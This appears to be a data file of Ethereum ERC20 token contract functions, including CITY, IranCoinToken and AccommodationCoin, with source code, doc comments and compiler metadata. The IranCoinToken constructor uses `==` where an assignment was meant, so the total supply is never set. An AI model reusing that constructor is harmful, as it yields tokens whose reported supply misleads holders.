_totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
_burn
function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); }
/** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 6184, 6458 ] }
12,452
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
_burnFrom
function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); }
/** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 6852, 7116 ] }
12,453
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20Detailed
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } }
name
function name() public view returns (string memory) { return _name; }
/** * @return the name of the token. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 356, 444 ] }
12,454
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20Detailed
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } }
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @return the symbol of the token. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 506, 598 ] }
12,455
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20Detailed
contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } }
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @return the number of decimals of the token. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 672, 760 ] }
12,456
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20Burnable
contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } }
burn
function burn(uint256 value) public { _burn(msg.sender, value); }
/** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 156, 240 ] }
12,457
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20Burnable
contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } }
burnFrom
function burnFrom(address from, uint256 value) public { _burnFrom(from, value); }
/** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 494, 594 ] }
12,458
BasicToken
BasicToken.sol
0x0056a6ac46c0540b9b39bfeecae0c9482f80f809
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } }
Ownable
function Ownable() public { owner = msg.sender; }
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802
{ "func_code_index": [ 246, 298 ] }
12,459
BasicToken
BasicToken.sol
0x0056a6ac46c0540b9b39bfeecae0c9482f80f809
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } }
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802
{ "func_code_index": [ 590, 750 ] }
12,460
BasicToken
BasicToken.sol
0x0056a6ac46c0540b9b39bfeecae0c9482f80f809
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
transfer
function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; }
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802
{ "func_code_index": [ 254, 613 ] }
12,461
BasicToken
BasicToken.sol
0x0056a6ac46c0540b9b39bfeecae0c9482f80f809
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
balanceOf
function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; }
/** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802
{ "func_code_index": [ 809, 913 ] }
12,462
BasicToken
BasicToken.sol
0x0056a6ac46c0540b9b39bfeecae0c9482f80f809
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
approve
function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802
{ "func_code_index": [ 1145, 1319 ] }
12,463
BasicToken
BasicToken.sol
0x0056a6ac46c0540b9b39bfeecae0c9482f80f809
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
allowance
function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802
{ "func_code_index": [ 1626, 1749 ] }
12,464
BasicToken
BasicToken.sol
0x0056a6ac46c0540b9b39bfeecae0c9482f80f809
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
increaseApproval
function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802
{ "func_code_index": [ 1977, 2225 ] }
12,465
BasicToken
BasicToken.sol
0x0056a6ac46c0540b9b39bfeecae0c9482f80f809
Solidity
IranCoinToken
contract IranCoinToken is StandardToken, Ownable { string public constant name = "Zarig"; string public constant symbol = "ICD"; uint8 public constant decimals = 18; uint256 public constant rewards = 8000000 * (10 ** uint256(decimals)); uint256 public constant INITIAL_SUPPLY = 17000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function IranCoinToken() public { totalSupply == INITIAL_SUPPLY.add(rewards); balances[msg.sender] = INITIAL_SUPPLY; } }
/** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */
NatSpecMultiLine
IranCoinToken
function IranCoinToken() public { totalSupply == INITIAL_SUPPLY.add(rewards); balances[msg.sender] = INITIAL_SUPPLY; }
/** * @dev Constructor that gives msg.sender all of existing tokens. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://63fc77948de7ce231fb4e6c7d8cdf706365aa50c2c354a8eb955d93bff669802
{ "func_code_index": [ 401, 523 ] }
12,466
AccommodationCoin
AccommodationCoin.sol
0x952a6655d71a4a7b70cb36fd95317e8738d0afe5
Solidity
TokenERC20
contract TokenERC20 { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check for overflows // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /** * Function to Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * function to Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * function Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** *Function to Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other ccount * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
TokenERC20
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes }
/** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b
{ "func_code_index": [ 732, 1211 ] }
12,467
AccommodationCoin
AccommodationCoin.sol
0x952a6655d71a4a7b70cb36fd95317e8738d0afe5
Solidity
TokenERC20
contract TokenERC20 { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check for overflows // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /** * Function to Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * function to Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * function Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** *Function to Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other ccount * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
_transfer
function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check for overflows // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); }
/** * Internal transfer, only can be called by this contract */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b
{ "func_code_index": [ 1281, 1668 ] }
12,468
AccommodationCoin
AccommodationCoin.sol
0x952a6655d71a4a7b70cb36fd95317e8738d0afe5
Solidity
